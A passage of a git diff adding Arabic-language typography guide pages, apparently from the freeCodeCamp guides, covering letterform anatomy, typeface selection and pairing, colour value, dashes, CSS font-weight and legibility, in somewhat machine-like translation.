+*   **x-height** (1) هو ارتفاع الحرف الصغير x. وبعبارة أخرى ، فإن المسافة بين خط الأساس والخط المتوسط.
+    
+*   وتعرف الضلع الرأسي أو القطري الرئيسي في شكل الحروف باسم **الجذع** (7).
+    
+*   تُعرف الحدود التي تربط بين سطرين في شكل حرفتي حرف _A_ و _H_ أو حدود متقاطعة في _t_ باسم **العارضة** (6).
+    
+*   عندما ترتفع حدود الحرف الصغير فوق خط الوسط كما هو الحال في _l_ يطلق عليه اسم **ascender** (5). **خط Ascender** (2) هو الخط الوهمي الذي يصور المسافة بين خط الأساس وأعلى الصاعد.
+    
+*   عندما تسقط ضربة حرف صغيرة أسفل الخط الأساسي كما هو الحال في _g_ ، يطلق عليه اسم **descender** . **خط descender** (20) هو الخط الوهمي الذي يمثل المسافة بين خط الأساس وأسفل الهابط.
+    
+*   تسمى ضربة القوس كما في الجزء العلوي من _R_ **كتفا** أو في بعض الأحيان مجرد _قوس_ ، كما في _h_ ، _n_ ، _m_ .
+    
+*   تسمى السكتة المنحنية المغلقة بـ **Bowl** (10).
+    
+*   يسمى السكتة المائلة السفلية المشاهدة في _K_ و _R_ **بالساق** (9).
+    
+*   يسمى الشوط الأفقي القصير الذي يظهر في مركز _e_ ، _f_ وفي السكتة الدماغية المتوسطة _E_ و _F_ ، **شريط** .
+    
+*   ويطلق على السكتة الدماغية الأفقية الأطول في الأعلى أو الأسفل كما في _E_ و _F_ اسم **الذراع** (17).
+    
+*   تُسمى النقطة أعلى الحرف _j_ و _i_ بـ **Tittle** أو dot أو a jot.
+    
+*   يسمى الجزء السفلي من _g_ المكون من طابقين **بالحلقة** (13).
+    
+
+#### محطات
+
+المحطات هي نهاية السكتات الدماغية. هم من نوعين **Serif** و **Sans-Serif** . يحتوي الطرود المعتمة على حواف على الحواف التي يمكن وصفها بأنها إسفين ، بصلي ، دمعة ، بلاطة ، إلخ. Sans-Serif من ناحية أخرى لا تحتوي على هذه الميزات الممتدة في نهاية السكتات الدماغية. يتم استخدام Sans-Serif غالبًا على الشاشات الرقمية في هذه الأيام نظرًا لكونها تتمتع بمستوى أفضل من الوضوح على شاشات عرض أقل دقة حيث يصعب عرض الصور المتحركة.
+
+#### الفراغ
+
+يشير الفضاء إلى المساحة البيضاء التي توجد بين الحروف وكذلك داخل الحروف مثل _o_ و _p_ مع حلقات مغلقة.
+
+فيما يلي بعض التعريفات الأساسية لمساعدتك على فهم كيفية وصف نوع وقياسه.
+
+## محرف
+
+يشير المحرف إلى مجموعة من الأحرف ، مثل الأحرف والأرقام وعلامات الترقيم ، والتي تشترك في تصميم أو نمط مشترك. Times New Roman و Arial و Helvetica و Courier هي كل الخطوط.
+
+## الخط
+
+تشير الخطوط إلى الوسائل التي يتم بها عرض الخطوط أو عرضها. Helvetica في نوع المنقولة هو خط ، كما هو ملف خط تروتايب.
+
+![تشريح الطباعة](https://designschool.canva.com/wp-content/uploads/sites/2/2015/07/typography-terms-infographic-tb-1324x0.png)
+
+## اكتب العائلات
+
+تشكل الخيارات المختلفة المتاحة داخل الخط عائلة من النوع. تتوفر العديد من الخطوط كحد أدنى باللون الروماني ، الغامق والمائل. العائلات الأخرى هي أكبر بكثير ، مثل Helvetica Neue ، والتي تتوفر في خيارات مثل Bold Condensed ، أسود مكثف ، UltraLight ، UltraLight مائل ، خفيف ، خفيف مائل ، عادي ، إلخ.
+
+## Serif Fonts
+
+يتم التعرف على الخطوط Serif بواسطة الخطوط الصغيرة في نهايات السكتات الدماغية المختلفة للحرف. بما أن هذه الخطوط تجعل الخط أسهل في القراءة من خلال توجيه العين من حرف إلى حرف وكلمة إلى كلمة ، غالبًا ما تستخدم الخطوط المائلة للكتل الكبيرة من النص ، كما هو الحال في الكتاب. تايمز نيو رومان هو مثال على خط serif المشترك.
+
+## بلا خط الحدود
+
+Serifs هي خطوط صغيرة في نهايات ضربات الأحرف. يشير Sans serif ، أو بدون serif ، إلى الخطوط بدون هذه الخطوط. غالبًا ما تستخدم خطوط Sans serif عند الحاجة إلى محرف كبير ، كما هو الحال في عنوان المجلة. هلفتيكا هو محرف بلا مصحف. خطوط Sans serif شائعة أيضًا لنص موقع الويب ، حيث يمكن قراءتها بسهولة على الشاشة. Arial هو محرف sans serif الذي تم تصميمه خصيصًا للاستخدام على الشاشة.
+
+## أحجام نقطة
+
+يتم استخدام النقطة لقياس حجم الخط. نقطة واحدة تساوي 1/72 من البوصة. عندما يُشار إلى الحرف بـ 12 نقطة ، يتم وصف الارتفاع الكامل لكتلة النص (مثل كتلة من النوع المتحرك) ، وليس فقط الحرف نفسه. وبسبب ذلك ، قد تظهر محرفتان بنفس حجم النقطة بأحجام مختلفة ، استنادًا إلى موضع الحرف في الكتلة ومقدار الكتلة التي تملأها الأحرف.
+
+## بيكا
+
+البيكا تستخدم عادة لقياس سطور النص. واحد pica يساوي 12 نقطة ، وستة picas تساوي بوصة واحدة.
+
+## خط الأساس
+
+الخط الأساسي هو الخط غير المرئي الذي يتم وضع الأحرف فيه. في حين أن خط الأساس قد يختلف من محرف إلى محرف ، إلا أنه ثابت في محرف. سوف تمتد الأحرف المستديرة مثل "e" إلى أقل قليلاً من خط الأساس.
+
+## X-ارتفاع
+
+x-height هي المسافة بين الخط الأساسي وخط الأساس. يشار إليه على أنه x-height لأنه ارتفاع صغير "x". يمكن أن يختلف هذا الارتفاع بشكل كبير بين الخطوط.
+
+## تتبع ، تقنين المسافات و Letterspacing
+
+يتم التحكم في المسافة بين الأحرف عن طريق التعقب ، المسافات بين الحروف ومسافات الأحرف. يتم ضبط التتبع لتغيير المسافة بين الحروف بشكل متناسق عبر كتلة نص. يمكن استخدام هذا لزيادة الوضوح لمقالة المجلة بأكملها. تقنين الأحرف هو تقليل المسافة بين الأحرف ، وتعد مساحة الأحرف هي إضافة مسافة بين الأحرف. يمكن استخدام هذه التعديلات الأصغر والدقيقة في تعديل كلمة معينة ، مثل تصميم شعار ، أو عنوان كبير لقصة في صحيفة. يمكن اختبار كل الإعدادات لإنشاء تأثيرات نصية فنية.
+
+## قيادة
+
+يشير البادئة إلى المسافة بين أسطر النص. تُقاس هذه المسافة المقاسة بالنقاط من خط أساس إلى آخر. قد يشار إلى كتلة النص بأنها 12 نقطة مئوية مع 6 علامات من المسافة الزائدة ، والمعروفة أيضًا باسم 12/18. هذا يعني أن هناك نوع 12pt على 18pts من إجمالي الارتفاع (12 بالإضافة إلى 6pts من القيادة الإضافية).
+
+الخط الأساسي: الخط الأفقي التخيلي الذي تستقر فيه غالبية الأحرف.
+
+ارتفاع الغطاء: الخط الأفقي الخيالي الذي يشير إلى وجود جميع الأحرف الكبيرة ينتهي عند أعلى نقطة.
+
+العارضة: الخط الأفقي الذي يربط بين سطرين آخرين في حرف مثل "A" أو "H".
+
+عداد: المساحة السلبية داخل حرف. يمكن وضع العداد بالكامل كحرفين "O" أو "A" ، أو محاطين جزئياً بالحروف "C" أو "U".
+
+Descender: الخط الأفقي الخيالي الذي يمثل أدنى نقطة من الأحرف المنخفضة الخاصة مثل "g" و "j" و "p" و "q" و "y".
+
+الضلع: الضربة الزاوية الزاوية في أحرف مثل "K" و "R" و "Q".
+
+خط متوسط: الخط الأفقي التخيلي الذي يمثل النقطة العليا للأحرف الصغيرة.
+
+Serif: نهاية الشوط في نهاية النص الذي ينشئ مظهر "القدم".
+
+الجذعية: الضربة الرأسية الرئيسية في شكل الحروف. يمكن أن يكون هذا أيضًا مائلًا مثل الأحرف "W" أو "N".
+
+Tittle: النقطة فوق الأحرف الصغيرة مثل "i" و "j".
+
+يشير شكل الحروف بشكل واسع إلى شكل الحروف ويتضمن الطباعة. الطباعة هي مظهر الحروف المطبوعة. من أجل فهم الطباعة تتطلب مفردات معينة. من خلال تعلم مصطلحات الطباعة ، يمكنك أيضًا أن تصبح عارضًا أكثر أهمية للنوع المطبوع.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Typeface_anatomy)
+*   [Sitepoint](https://www.sitepoint.com/the-anatomy-of-a-letterform/)
+*   [Typomil](http://typomil.com/anatomy/index.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/choosing-a-typeface/index.md b/client/src/guide/arabic/typography/choosing-a-typeface/index.md
new file mode 100644
index 0000000000..6c6a690153
--- /dev/null
+++ b/client/src/guide/arabic/typography/choosing-a-typeface/index.md
@@ -0,0 +1,52 @@
+---
+title: Choosing a Typeface
+localeTitle: اختيار الخط
+---
+## اختيار الخط
+
+نموذج يتبع الوظيفة: العمل من المبادئ العامة ، لا تختار محارف عشوائية.
+
+### عندما لا يمكنك الاختيار
+
+عند اختيار محرف مختلف غير وارد ، يمكنك في كثير من الأحيان إضافة التوابل المرئية إلى مشروع عن طريق تعديل أحجام الخطوط والأوزان والأنماط. علاوةً على ذلك ، من الأفضل دائمًا تجربة استراتيجية "القذف والتشتيت" ، ومحاولة بعض الخطوط المختلفة قبل أن تتخلى عن اختيار محرف آخر. بهذه الطريقة ، ربما لن تحصل على الخط الذي تريده ، ولكن سيكون لديك فكرة عن مختلف الخطوط الأخرى التي يمكنك استخدامها في حالات أخرى.
+
+### عندما تستطيع
+
+#### التطبيق المناسب
+
+أنت لا تريد أن تبرز بطريقة سيئة. غالبًا ما تؤدي احتياجات مشروعك إلى تقييد اختياراتك الإبداعية: إرشادات العلامة التجارية للشركة ، ووقت التنزيل والتقديم ، وخصائص نظام التشغيل ، وإمكانية الوصول ، ودعم المتصفح ، وما إلى ذلك.
+
+ابحث عن أمثلة واقعية لمشاريع مثل مشروعاتك للحصول على فكرة عن الخطوط النموذجية أو الأساليب المعتادة. قام المصممون بتجميع تلك المعايير من خلال سنوات من الاختبار والنظر بعناية.
+
+#### العمل سويا
+
+اختر الخطوط المتناقضة بعناية (مثل ، Minion و Myriad) والأوزان (على سبيل المثال ، جريئة ومنتظمة). تجنب استخدام خطوط كثيرة جدًا أو متشابهة جدًا. يجب أن تمنحك أكثر من ثلاثة أحرف على صفحة واحدة التوقف مؤقتًا - غالبًا ما يكون المحتوى معقدًا جدًا لصفحة واحدة أو أن التصميم غير لاصق.
+
+تعرف على أنواع الخط الأكثر شيوعًا (Geometric Sans و Humanist Sans و Oldstyle و Transive Modern و Slab Serifs) 1 وكيفية تفاعلها ، وستكون قادرًا على التعامل بشكل أكثر تعليلاً مع العديد من الخطوط معًا.
+
+#### كسر القواعد
+
+في النهاية ، يمكن أن تأخذك الإرشادات فقط حتى الآن. الإبداع والمفاجأة عنصران مهمان في أعمال التصميم. بقدر ما تولي اهتماما للمعايير والاتفاقية ، والانتباه إلى القيم المتطرفة. دراسة كيف ولماذا خرق القواعد لإبلاغك عن كسر القواعد الخاصة بك.
+
+## نصائح لاختيار بسرعة محرف
+
+*   خطة التسلسل الهرمي الخاص بك
+*   فكر فيما فعله الآخرون بالفعل
+*   تجربة الطريق السهل
+*   تجنب مفارقات تاريخية
+*   تجنب الارتباطات المبتذلة
+*   جرب عائلة Extended نوع
+*   العصا مع المجموعات الكلاسيكية
+*   استخدم لوحة محدودة
+
+#### مصادر
+
+1.  دان ماير ، [ما الخط الذي يجب علي استخدامه؟ 5 مبادئ لاختيار واستخدام الخطوط](https://www.smashingmagazine.com/2010/12/what-font-should-i-use-five-principles-for-choosing-and-using-typefaces/) ، smashingmagazine.com ، 2010.
+
+#### معلومات اكثر:
+
+[20 مثالي نوع الإقران](http://www.creativebloq.com/typography/20-perfect-type-pairings-3132120) [اختيار الخط الصحيح - مقالة موجزة لتكون مرجعا](https://webdesign.tutsplus.com/articles/choosing-the-right-font-a-practical-guide-to-typography-on-the-web--webdesign-15?_ga=2.210603089.55465761.1538586153-769794395.1538586153)
+
+#### معلومات اكثر:
+
+*   [Smashing Magazine article - How to choose a typeface](https://www.smashingmagazine.com/2011/03/how-to-choose-a-typeface/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/color-and-tonal-value/index.md b/client/src/guide/arabic/typography/color-and-tonal-value/index.md
new file mode 100644
index 0000000000..0e22791d76
--- /dev/null
+++ b/client/src/guide/arabic/typography/color-and-tonal-value/index.md
@@ -0,0 +1,21 @@
+---
+title: Color and Tonal Value
+localeTitle: اللون والقيمة اللونية
+---
+## اللون والقيمة اللونية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/color-and-tonal-value/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+في نظرية اللون ، يتم إنتاج قيمة الدرجة اللونية بإضافة اللون الأبيض أو الرمادي أو الأسود إلى لون محدد. هذا لا يغير اللون لكنه يغير اللون ، المعروف أيضا بالتشبع. عند مناقشة قيمة الدرجة اللونية ، هناك ثلاثة مصطلحات رئيسية يجب مناقشتها: الصبغة ، والنغمة ، والظل.
+
+الصبغة هي إضافة اللون الأبيض إلى اللون. يمكن استخدام الصبغة لتسليط الضوء على منطقة ما وكذلك البدء في خلق وهم العمق على شيء ما.
+
+النغمة هي إضافة اللون الرمادي إلى اللون. لون نغمي يخلق لون أكثر خفوت وأقل تشبع.
+
+الظل هو إضافة اللون الأسود إلى اللون. يمكن استخدام الظل لتعتيم ومساحة لخلق وهم العمق على شيء ما.
+
+من خلال تغيير قيمة لونية الألوان ، يمكنك إنشاء وهم عمق في الصور وكذلك تغيير مستوى التشبع من أجل تطبيق لون أفضل للعاطفة المطلوبة أو المزاج.
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/color-and-value/index.md b/client/src/guide/arabic/typography/color-and-value/index.md
new file mode 100644
index 0000000000..e36bff2e22
--- /dev/null
+++ b/client/src/guide/arabic/typography/color-and-value/index.md
@@ -0,0 +1,29 @@
+---
+title: Color and Value
+localeTitle: اللون والقيمة
+---
+## اللون والقيمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/color-and-value/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+القيمة هي العنصر الذي يشير إلى الخفة والظلام. حيث يمكنك إضافة صبغات خفيفة أو داكنة للتلوين لإعطاء لون مختلف.
+
+هيو هو مصطلح حيث يمكن إضافة صبغات سوداء أو بيضاء يؤدي إلى ظل اللون المذكور.
+
+اللون هو ما تحفز العين بانعكاس الضوء على كائن أو صورة معينة.
+
+اللون هو مزيج من
+
+#### معلومات اكثر:
+
+عند مناقشة المفاهيم البصرية مثل "اللون" و "القيمة" من خلال النص المكتوب يمكن أن يحدث بعض سوء التفاهم. أولا ، ينبغي أن يكون اللون واضحا مثل الألوان المختلفة مثل الأحمر والبرتقالي والأصفر والأخضر والأزرق والبنفسجي ، وأية تصريف التي يقدمونها. بعض من عجلات الألوان الأساسية تظهر هذه الألوان 6. يمكن أن تصبح عجلات الألوان أكثر تعقيدًا بسرعة. وبدلاً من إظهار لون واحد (اللون) من اللون الأرجواني ، يمكن للعجلة اللونية أن تظهر تركيبات مختلفة مثل اللون الأرجواني مع لون أحمر أو لون أزرق. يمكن تصميم عجلات الألوان لأغراض كثيرة. يمكن أن يساعد اختيار ومواضع الألوان المختلفة الفنانين والمصممين على مشاهدة الألوان بشكل مختلف ، وبالتالي ، تحديد ألوان أكثر استنارة. يمكن أن يكون اللون أداة قوية للتأثير على المشاهد عاطفيًا لذا فإن تعلم كيفية التحدث وعرض الألوان التي تتعدى تصنيفات الألوان المختلفة أمر مهم.
+
+القيمة هي خفة أو لون لون. عندما يتم تحديد لون ، مثل اللون الأحمر ، يمكن تغيير الصبغة بإضافة الأسود أو الأبيض. من خلال وضع لون فاتح بجوار لون داكن يخلق التباين. العين البشرية مرسومة بشكل طبيعي على النقيض. تعلّم كيفية استخدام القيمة لخلق التباين هي مهارة مقيّمة لتوجيه المشاهدين مباشرة أو غير مباشرة إلى منطقة في الصفحة.
+
+أنشأ دنمان روس مقياسًا ذا قيمة تسع خطوات يتراوح من 1 - أبيض إلى 9 - أسود. مقياس روس مدرج أدناه:
+
+1 - ابيض 2 - إضاءة عالية 3 - الضوء 4 - إضاءة منخفضة 5 - القيمة المتوسطة (اللون الأصلي) 6 - مظلمة عالية 7 - الظلام 8 - منخفض الظلام 9 - أسود
+
+عند اختيار اللون ، ضع في اعتبارك القيمة لتوجيه انتباه المشاهد عن طريق إنشاء التباين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/column-width-and-leading/index.md b/client/src/guide/arabic/typography/column-width-and-leading/index.md
new file mode 100644
index 0000000000..43e6b050ec
--- /dev/null
+++ b/client/src/guide/arabic/typography/column-width-and-leading/index.md
@@ -0,0 +1,11 @@
+---
+title: Column Width and Leading
+localeTitle: عرض العمود والرائدة
+---
+## عرض العمود والرائدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/column-width-and-leading/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/combining-typefaces/index.md b/client/src/guide/arabic/typography/combining-typefaces/index.md
new file mode 100644
index 0000000000..1f944f1042
--- /dev/null
+++ b/client/src/guide/arabic/typography/combining-typefaces/index.md
@@ -0,0 +1,41 @@
+---
+title: Combining Typefaces
+localeTitle: الجمع بين الخطوط
+---
+## الجمع بين الخطوط
+
+#### أساسيات الاقتران الخطية
+
+ما هي الخطوط التي تبدو جيدة مع بعضها وتلك التي لا تفعلها؟ إذا كنت تعاني من هذا السؤال ، فأنت لست وحدك. تعرف على كيفية إقران الخطوط والأنماط المختلفة من خلال التعرف على هذه المجموعات الذكية!
+
+#### جرب هذه الخطوات واحدة تلو الأخرى
+
+*   إقران الخط العادي والعريض لإنشاء تباين دقيق
+*   موازنة خط برنامج نصي بخط غامق
+*   إقران الخط الطويل والقصير لإنشاء اهتمام مرئي
+*   إقران الخطوط بأوزان مختلفة لإنشاء تباين قوي
+*   إقران الخط العادي والمائل لإنشاء التركيز
+
+لا توجد قواعد صلبة وسريعة لاختيار الخطوط ، ولكن يمكنك في كثير من الأحيان تجنب الاضطرار إلى اختيار الخطوط الجديدة عن طريق تصميم محرف موجود لإنشاء تسلسل هرمي مرئي. عندما تكون في شك ، ابقها بسيطة.
+
+يتبع المصممون فلسفات مختلفة لتحديد متى وكيفية الجمع بين الخطوط.
+
+### Anchor 1 أو Role Typeface
+
+إذا كان مشروعك يتضمن كميات كبيرة من النص ، فاختر محرف الارتساء للنص الأساسي. هذا الخط الرئيسي يوجه بقية اختياراتك في التصميم بينما تقوم باختبارات وتحسينات مستمرة لمجموعات مختلفة من الخطوط ضد مرستك.
+
+### الخطوط المتناقضة
+
+بالنسبة لمشاريع النص الضوئي ، فإن تحديد أدوار هرمية واضحة للخط لا يمثل مصدر قلق كبير بقدر تأثيره المرئي. إقران الخطوط المتباينة مثل serif plus sans-serif. غالبًا ما يقوم المصممون بمشاركة أزواج محارفهم المفضلة ، لذلك قم بإجراء البحث والتجربة حتى تنشئ نتيجة مرضية.
+
+### عائلة محرف
+
+العديد من أنواع المسابك تقوم بإنشاء الخطوط مع ميزات إضافية شاملة مثل الأوزان والحالات المتعددة ، والحروف الزخرفية ، وإصدارات serif و sans-serif ، وما إلى ذلك. يمكنك استخدام عائلة من نوع واحد مثل هذا لضمان تصميم متناسق مع استخدام هذه الميزات الإضافية بشكل مبتكر لتوفير مزيد من التركيز أو الزخرفة التي قد تتطلب محرفًا آخر. غالبًا ما تكون العائلات المحروفة عبارة عن حل وسط كبير من التناسق البصري والمرونة المطبعية.
+
+#### مصادر
+
+1.  تيم براون ، [دمج الخطوط: دليل الجيب](https://blog.typekit.com/2016/04/29/combining-typefaces-free-guide-to-great-typography/) ، PDF.
+
+#### معلومات اكثر:
+
+*   Shaun Pagin، [The Art Of Mixing Typefaces Google Fonts Edition](http://www.fastprint.co.uk/blog/the-art-of-mixing-typefaces.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/ems-and-ens/index.md b/client/src/guide/arabic/typography/ems-and-ens/index.md
new file mode 100644
index 0000000000..9dec543ab9
--- /dev/null
+++ b/client/src/guide/arabic/typography/ems-and-ens/index.md
@@ -0,0 +1,31 @@
+---
+title: Ems and Ens
+localeTitle: Ems و إنس
+---
+## Ems و إنس
+
+إن Ems و Ens هما شكل من علامات الترقيم يسمى "dash". على الرغم من أنها تشبه المظهر إلى الواصلة ، إلا أنها تخدم أغراضًا مختلفة.
+
+### ام داش
+
+استخدم شرطة em للإشارة إلى فاصل في الجملة. استبدلها بفاصلة أو للإشارة إلى وقفة في الجملة. يتم استخدامها أيضا لسرد الاقتباس إلى المتكلم. إن شرطة em واحدة واسعة - عرض حجم نقطة من محرف. لا تضع أي مسافات قبل وبعد شرطة. على سبيل المثال: الضوضاء من منزل الجيران - إنها تقتلني.
+
+*   أمر لشرطة شرطة على ماك: Shift-Option-Hyphen
+*   أمر شرطة على Microsoft Word: Alt + Ctrl + (ناقص)
+*   شرطة em في HTML: `&mdash;` أو `&#8212;`
+
+### أون داش
+
+استخدم شرطة على شكل En كبديل للكلمة "إلى" أو للإشارة إلى نطاق من الأرقام. الشرطة الداخلية هي نصف عرض شرطة em. لا تضع أي مسافات قبل وبعد شرطة. على سبيل المثال: استمرت الحرب العالمية الأولى من 1914-1918.
+
+*   أمر شرطة على ماك: Option-Hyphen
+*   أمر شرطة على Microsoft Word: Ctrl + (ناقص)
+*   En dash in HTML: `&ndash;` أو `&#8211;`
+
+#### معلومات اكثر:
+
+داش - [ويكيبيديا](https://en.wikipedia.org/wiki/Dash#Em_dash)
+
+التفكير مع النوع من قبل إلين لبتون - [التفكير مع النوع](http://thinkingwithtype.com)
+
+Modularscale - [http://www.modularscale.com/](http://www.modularscale.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/font-weight-and-style/index.md b/client/src/guide/arabic/typography/font-weight-and-style/index.md
new file mode 100644
index 0000000000..db393a6b29
--- /dev/null
+++ b/client/src/guide/arabic/typography/font-weight-and-style/index.md
@@ -0,0 +1,29 @@
+---
+title: Font Weight and Style
+localeTitle: وزن الخط والنمط
+---
+## وزن الخط والنمط
+
+يمكن كتابة خط الوزن على هيئة قيم نصية:
+
+ `font-weight: normal; 
+ font-weight: bold; 
+` 
+
+أو كقيمة رقمية من `100` إلى `900` (بمضاعفات 100):
+
+ `font-weight: 400;  /* equal to 'normal' above */ 
+ font-weight: 700; /* equal to 'bold' above */ 
+` 
+
+القيمة العددية ووصفها المشترك
+
+| القيمة | وصف عام | | ----- | ---------------------------- | | 100 | رقيقة (شعري) | | 200 | اكسترا لايت (الترا لايت) | | 300 | ضوء | | 400 | عادي | | 500 | متوسطة | | 600 | نصف بولد (ديمي بولد) | | 700 | جريئة | | 800 | جريئة اضافية (الترا بولد) | | 900 | أسود (ثقيل) |
+
+ليست كل الأوزان متوفرة لجميع الخطوط. قد لا تتوفر بعض الخطوط المتخصصة إلا في وزن واحد ( `400` `normal` بشكل عام).
+
+يمكن أيضًا تحديد وزن الخط بالنسبة إلى أصل أحد العناصر (إذا كان الخط يحتوي على أكثر من وزن):
+
+ `font-weight: lighter; 
+ font-weight: bolder; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/index.md b/client/src/guide/arabic/typography/index.md
new file mode 100644
index 0000000000..fb768ad9d5
--- /dev/null
+++ b/client/src/guide/arabic/typography/index.md
@@ -0,0 +1,11 @@
+---
+title: Typography
+localeTitle: طباعة
+---
+## طباعة
+
+الطباعة هي حقل يتعامل مع الكلمة المكتوبة وكيف يتم تقديم الحروف والحروف.
+
+يمكن تصميم نفس الحروف بطرق مختلفة لتوصيل المشاعر المختلفة. وهناك جميع أنواع المبادلات حول نمط مقابل قابلية القراءة.
+
+في هذا القسم ، سيكون لدينا أدلة لمجموعة متنوعة من مفاهيم الطباعة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/kerning-and-tracking/index.md b/client/src/guide/arabic/typography/kerning-and-tracking/index.md
new file mode 100644
index 0000000000..049ee38244
--- /dev/null
+++ b/client/src/guide/arabic/typography/kerning-and-tracking/index.md
@@ -0,0 +1,17 @@
+---
+title: Kerning and Tracking
+localeTitle: تقنين وتعقب
+---
+## تقنين وتعقب
+
+تشير المسافات بين الحروف إلى التباعد بين حرفين منفصلين داخل الكلمة.
+
+يشير التعقب إلى التباعد بين الكلمات.
+
+لا يتم تصميم بعض الخطوط بحيث تكون مربوطة أو متقلبة جدًا والعكس صحيح. إذا كانت إحدى الحارات أو المسارات شديدة الترابط أو فضفاضة جدًا ، فإنها تخاطر بالتضحية بالقابلية للقراءة والوضوح.
+
+عند اتخاذ قرار بشأن مدى ضيق أو فقدان الحافة أو تتبع النص ، يُنصح أولاً بالنظر إلى المقياس الذي سيتم به التفاعل مع النص. إذا كان سيتم طباعتها ، فكم سيكون المشاهد بعيداً عن النص المطبوع؟ هل سيقودون؟ هل سيكون على القراءة على شاشة بإضاءة خلفية؟
+
+ينبغي للمرء أيضا أن تنظر في أرضية إيجابية وسلبية عند تتبع وتقنين المسافات. يمكن أن يؤدي التتبع بشدة أو بشكل فضفاض للغاية إلى علاقات شخصية / أرضية محرجة من شأنها أن تصرف انتباه المستخدم.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/typography/legibility-and-readability/index.md b/client/src/guide/arabic/typography/legibility-and-readability/index.md
new file mode 100644
index 0000000000..7226000225
--- /dev/null
+++ b/client/src/guide/arabic/typography/legibility-and-readability/index.md
@@ -0,0 +1,41 @@
+---
+title: Legibility and Readability
+localeTitle: وضوح وسهولة القراءة
+---
+## وضوح وسهولة القراءة
+
+### الوضوح
+
+تعني **الصلاحية** القدرة على التمييز بين الأحرف المختلفة في النص. يشير النص الواضح إلى أنه يمكن تفسيره بسهولة. انظر إلى الخصائص الفريدة لمحرف عند النظر في الوضوح. بعض الاعتبارات هي كما يلي:
+
+*   يجب استخدام كل محرف وفقًا لسياقه _والاستخدام المقصود_ . انظر إلى تاريخها وهي أفضل سيناريوهات استخدام الحالة. على سبيل المثال: أفضل استخدام Garamond للهيئات الكبيرة للنص على الطباعة في حين أن جورجيا للشاشة.
+*   ضع في اعتبارك ما إذا كان المحرف مخصصًا _لنص العرض أو النص الأساسي_ .
+*   إن x-height من محرف هو حجم الحرف الصغير "x" في محرف. ينتج محرف ذو _ارتفاع x إلى ارتفاع عالٍ_ في نص مقروء حتى بأحجام صغيرة.
+*   **تقليديا** ، **ومحارف** الخط أكثر وضوحا للنص الجسم من نظرائهم sans-serif.
+
+### قراءة
+
+تعني **قابلية القراءة** ترتيب مجموعة من الكلمات أو كتل من النص بطريقة تجعل الوصول إلى النص أكثر سهولة. والفكرة هي تقليل مقدار الجهد المطلوب لقراءة نص من النص.
+
+ويشير ستيفن كولز إلى أن قابلية القراءة ، لا يطرح فقط سؤال "هل يمكنك قراءتها؟" ولكن سواء **"هل تريد قراءتها؟"** .
+
+ويشير جايسون سانتا ماريا في كتابه " _طباعة الويب" إلى_ أن القراءة ليست نشاطًا خطيًا. نقرأ في حركة **ذهاب وإياب** تسمى **النقرات** ، وهي أعيننا **تقفز** من نقطة إلى أخرى. أيضا ، النص مع الكلمات المألوفة يجعل من السهل علينا قراءة. بعض النقاط الأساسية التي يجب تذكرها عند النظر في القراءة هي كما يلي:
+
+*   يشير **التباين** إلى التغيير في سمك السكتة الدماغية في أجزاء مختلفة من الرسالة. أعلى التباين ، وارتفاع التغيير في السكتة الدماغية. استخدم محارف تباين متوسطة إلى منخفضة للهيئات الطويلة للنص.
+    
+*   يشير **ارتفاع الخط** إلى المسافة بين سطرين من النص. أنت لا تريد أن تجعل كتلة النص غير ضيقة ولا فضفاضة. يمكنك التحكم في ارتفاع الخط في CSS بواسطة "ارتفاع الخط" الخاص بالعقار. بالنسبة لمعظم النصوص ، يمكنك تعيينها بين 1.2 إلى 1.5 (بدون أي وحدات).
+    
+*   يشير **طول الخط** (قياس) إلى متوسط ​​عدد الأحرف في سطر النص. طول السطر كبير يعوق القراءة عن طريق جعل من الصعب على عيوننا لمسح النص. عادة ما يكون حوالي 45-75 حرفًا في كل سطر هو الأمثل لمجموعة نصية. إذا كنت تخطط لزيادة طول الخط بعد ذلك ، فاحرص أيضًا على زيادة ارتفاع الخط بحيث يكون هناك مساحة كافية بين سطرين من النص. في CSS ، يمكنك تعيين عرض الحاوية ، وباستخدام وحدة em ، يمكنك الاقتراب من عدد معين من الأحرف ، وفقًا لنسبة العرض إلى الارتفاع للخط. مثال: العرض: 35 م ؛
+    
+*   يشير **التعقب** إلى ضبط المسافة بين الحروف في النص. تعني إضافة التعقب إضافة مسافة بيضاء بين الأحرف والعكس. في أحجام الخطوط الصغيرة أي أقل من 10 نقاط ، يساعد إضافة التتبع في تحسين إمكانية القراءة. وبالمثل ، بالنسبة إلى العناوين الكبيرة ، استخدم التتبع السلبي لجعل الأحرف أقرب. يمكنك التحكم في التعقب في CSS عبر خاصية "تباعد الأحرف". على سبيل المثال: تباعد الأحرف: 0.05em؛
+    
+*   يشير **حجم الخط** إلى حجم الخط المستخدم في النص. لعرض الجوال ، استخدم أحجامًا لا تقل عن 12 بكسل. يمكنك التحكم في حجم الخط في CSS عبر خاصية "حجم الخط". مثال: حجم الخط: 48 بكسل ؛
+    
+
